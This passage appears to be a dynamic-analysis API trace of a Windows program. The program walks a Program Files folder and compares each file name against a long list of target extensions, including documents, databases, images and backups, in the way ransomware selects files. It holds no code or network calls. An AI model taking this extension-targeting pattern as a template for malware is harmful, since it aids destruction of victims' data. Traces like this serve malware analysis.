lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".cf") returned 3 [0182.410] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.410] lstrlenW (lpString=".cfc") returned 4 [0182.410] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.410] lstrlenW (lpString=".cfm") returned 4 [0182.411] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".cfml") returned 5 [0182.411] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.411] lstrlenW (lpString=".cfu") returned 4 [0182.411] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".chm") returned 4 [0182.411] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".cin") returned 4 [0182.411] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".class") returned 6 [0182.411] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.411] lstrlenW (lpString=".clx") returned 4 [0182.411] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".config") returned 7 [0182.411] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.411] lstrlenW (lpString=".cpp") returned 4 [0182.411] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".cr2") returned 4 [0182.411] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".crt") returned 4 [0182.411] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".crw") returned 4 [0182.411] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.411] lstrlenW (lpString=".cs") returned 3 [0182.411] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.411] lstrlenW (lpString=".css") returned 4 [0182.412] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".csv") returned 4 [0182.412] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".cub") returned 4 [0182.412] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".dae") returned 4 [0182.412] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".dat") returned 4 [0182.412] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".db") returned 3 [0182.412] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.412] lstrlenW (lpString=".dbf") returned 4 [0182.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".dbx") returned 4 [0182.412] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".dc3") returned 4 [0182.412] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.412] lstrlenW (lpString=".dcm") returned 4 [0182.412] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.413] lstrlenW (lpString=".dcr") returned 4 [0182.413] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.413] lstrlenW (lpString=".der") returned 4 [0182.413] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.413] lstrlenW (lpString=".dib") returned 4 [0182.413] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.413] lstrlenW (lpString=".dic") returned 4 [0182.414] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".dif") returned 4 [0182.414] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".divx") returned 5 [0182.414] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".djvu") returned 5 [0182.414] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".dng") returned 4 [0182.414] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".doc") returned 4 [0182.414] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".docm") returned 5 [0182.414] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".docx") returned 5 [0182.414] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".dot") returned 4 [0182.414] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".dotm") returned 5 [0182.414] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".dotx") returned 5 [0182.414] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.414] lstrlenW (lpString=".dpx") returned 4 [0182.414] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.414] lstrlenW (lpString=".dqy") returned 4 [0182.414] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".dsn") returned 4 [0182.415] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".dt") returned 3 [0182.415] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.415] lstrlenW (lpString=".dtd") returned 4 [0182.415] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".dwg") returned 4 [0182.415] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".dwt") returned 4 [0182.415] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".dx") returned 3 [0182.415] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.415] lstrlenW (lpString=".dxf") returned 4 [0182.415] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".edml") returned 5 [0182.415] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.415] lstrlenW (lpString=".efd") returned 4 [0182.415] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".elf") returned 4 [0182.415] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".emf") returned 4 [0182.415] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.415] lstrlenW (lpString=".emz") returned 4 [0182.416] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".epf") returned 4 [0182.416] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".eps") returned 4 [0182.416] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".epsf") returned 5 [0182.416] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.416] lstrlenW (lpString=".epsp") returned 5 [0182.416] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.416] lstrlenW (lpString=".erf") returned 4 [0182.416] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".exr") returned 4 [0182.416] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".f4v") returned 4 [0182.416] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".fido") returned 5 [0182.416] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.416] lstrlenW (lpString=".flm") returned 4 [0182.416] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".flv") returned 4 [0182.416] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.416] lstrlenW (lpString=".frm") returned 4 [0182.416] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".fxg") returned 4 [0182.417] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".geo") returned 4 [0182.417] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".gif") returned 4 [0182.417] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".grs") returned 4 [0182.417] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".gz") returned 3 [0182.417] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.417] lstrlenW (lpString=".h") returned 2 [0182.417] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.417] lstrlenW (lpString=".hdr") returned 4 [0182.417] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".hpp") returned 4 [0182.417] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".hta") returned 4 [0182.417] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".htc") returned 4 [0182.417] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.417] lstrlenW (lpString=".htm") returned 4 [0182.418] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.418] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0182.418] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.418] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.419] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0182.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0182.420] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0182.420] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0182.420] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK") returned 100 [0182.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0182.421] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.421] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x987f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.421] lstrlenW (lpString="index.html") returned 10 [0182.421] lstrlenW (lpString=".1cd") returned 4 [0182.421] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.421] lstrlenW (lpString=".3ds") returned 4 [0182.421] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.421] lstrlenW (lpString=".3fr") returned 4 [0182.421] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.421] lstrlenW (lpString=".3g2") returned 4 [0182.421] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.421] lstrlenW (lpString=".3gp") returned 4 [0182.421] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.421] lstrlenW (lpString=".7z") returned 3 [0182.421] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.421] lstrlenW (lpString=".accda") returned 6 [0182.422] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".accdb") returned 6 [0182.422] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".accdc") returned 6 [0182.422] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".accde") returned 6 [0182.422] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".accdt") returned 6 [0182.422] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".accdw") returned 6 [0182.422] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.422] lstrlenW (lpString=".adb") returned 4 [0182.422] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.422] lstrlenW (lpString=".adp") returned 4 [0182.422] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.422] lstrlenW (lpString=".ai") returned 3 [0182.422] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.422] lstrlenW (lpString=".ai3") returned 4 [0182.422] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.422] lstrlenW (lpString=".ai4") returned 4 [0182.422] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.422] lstrlenW (lpString=".ai5") returned 4 [0182.423] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.423] lstrlenW (lpString=".ai6") returned 4 [0182.423] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.423] lstrlenW (lpString=".ai7") returned 4 [0182.423] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.423] lstrlenW (lpString=".ai8") returned 4 [0182.423] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.423] lstrlenW (lpString=".anim") returned 5 [0182.424] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.424] lstrlenW (lpString=".arw") returned 4 [0182.424] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".as") returned 3 [0182.424] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.424] lstrlenW (lpString=".asa") returned 4 [0182.424] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".asc") returned 4 [0182.424] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".ascx") returned 5 [0182.424] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.424] lstrlenW (lpString=".asm") returned 4 [0182.424] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".asmx") returned 5 [0182.424] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.424] lstrlenW (lpString=".asp") returned 4 [0182.424] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".aspx") returned 5 [0182.424] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.424] lstrlenW (lpString=".asr") returned 4 [0182.424] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".asx") returned 4 [0182.424] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.424] lstrlenW (lpString=".avi") returned 4 [0182.424] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".avs") returned 4 [0182.425] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".backup") returned 7 [0182.425] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.425] lstrlenW (lpString=".bak") returned 4 [0182.425] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".bay") returned 4 [0182.425] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".bd") returned 3 [0182.425] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.425] lstrlenW (lpString=".bin") returned 4 [0182.425] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".bmp") returned 4 [0182.425] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".bz2") returned 4 [0182.425] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".c") returned 2 [0182.425] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.425] lstrlenW (lpString=".cdr") returned 4 [0182.425] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".cer") returned 4 [0182.425] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.425] lstrlenW (lpString=".cf") returned 3 [0182.426] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.426] lstrlenW (lpString=".cfc") returned 4 [0182.426] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".cfm") returned 4 [0182.426] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".cfml") returned 5 [0182.426] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.426] lstrlenW (lpString=".cfu") returned 4 [0182.426] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".chm") returned 4 [0182.426] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".cin") returned 4 [0182.426] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".class") returned 6 [0182.426] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.426] lstrlenW (lpString=".clx") returned 4 [0182.426] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".config") returned 7 [0182.426] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.426] lstrlenW (lpString=".cpp") returned 4 [0182.426] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".cr2") returned 4 [0182.426] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.426] lstrlenW (lpString=".crt") returned 4 [0182.427] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".crw") returned 4 [0182.427] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".cs") returned 3 [0182.427] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.427] lstrlenW (lpString=".css") returned 4 [0182.427] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".csv") returned 4 [0182.427] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".cub") returned 4 [0182.427] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".dae") returned 4 [0182.427] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".dat") returned 4 [0182.427] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".db") returned 3 [0182.427] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.427] lstrlenW (lpString=".dbf") returned 4 [0182.427] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".dbx") returned 4 [0182.427] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.427] lstrlenW (lpString=".dc3") returned 4 [0182.427] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".dcm") returned 4 [0182.428] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".dcr") returned 4 [0182.428] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".der") returned 4 [0182.428] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".dib") returned 4 [0182.428] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".dic") returned 4 [0182.428] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".dif") returned 4 [0182.428] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".divx") returned 5 [0182.428] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.428] lstrlenW (lpString=".djvu") returned 5 [0182.428] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.428] lstrlenW (lpString=".dng") returned 4 [0182.428] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".doc") returned 4 [0182.428] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.428] lstrlenW (lpString=".docm") returned 5 [0182.428] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.428] lstrlenW (lpString=".docx") returned 5 [0182.428] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.429] lstrlenW (lpString=".dot") returned 4 [0182.429] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dotm") returned 5 [0182.429] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.429] lstrlenW (lpString=".dotx") returned 5 [0182.429] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.429] lstrlenW (lpString=".dpx") returned 4 [0182.429] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dqy") returned 4 [0182.429] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dsn") returned 4 [0182.429] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dt") returned 3 [0182.429] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.429] lstrlenW (lpString=".dtd") returned 4 [0182.429] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dwg") returned 4 [0182.429] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dwt") returned 4 [0182.429] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".dx") returned 3 [0182.429] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.429] lstrlenW (lpString=".dxf") returned 4 [0182.429] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.429] lstrlenW (lpString=".edml") returned 5 [0182.429] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.430] lstrlenW (lpString=".efd") returned 4 [0182.430] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".elf") returned 4 [0182.430] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".emf") returned 4 [0182.430] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".emz") returned 4 [0182.430] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".epf") returned 4 [0182.430] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".eps") returned 4 [0182.430] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".epsf") returned 5 [0182.430] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.430] lstrlenW (lpString=".epsp") returned 5 [0182.430] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.430] lstrlenW (lpString=".erf") returned 4 [0182.430] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".exr") returned 4 [0182.430] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".f4v") returned 4 [0182.430] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.430] lstrlenW (lpString=".fido") returned 5 [0182.430] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.430] lstrlenW (lpString=".flm") returned 4 [0182.431] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.431] lstrlenW (lpString=".flv") returned 4 [0182.431] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.431] lstrlenW (lpString=".frm") returned 4 [0182.431] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.431] lstrlenW (lpString=".fxg") returned 4 [0182.431] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.431] lstrlenW (lpString=".geo") returned 4 [0182.431] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.431] lstrlenW (lpString=".gif") returned 4 [0182.431] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".grs") returned 4 [0182.680] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".gz") returned 3 [0182.680] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.680] lstrlenW (lpString=".h") returned 2 [0182.680] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.680] lstrlenW (lpString=".hdr") returned 4 [0182.680] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".hpp") returned 4 [0182.680] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".hta") returned 4 [0182.680] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".htc") returned 4 [0182.680] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".htm") returned 4 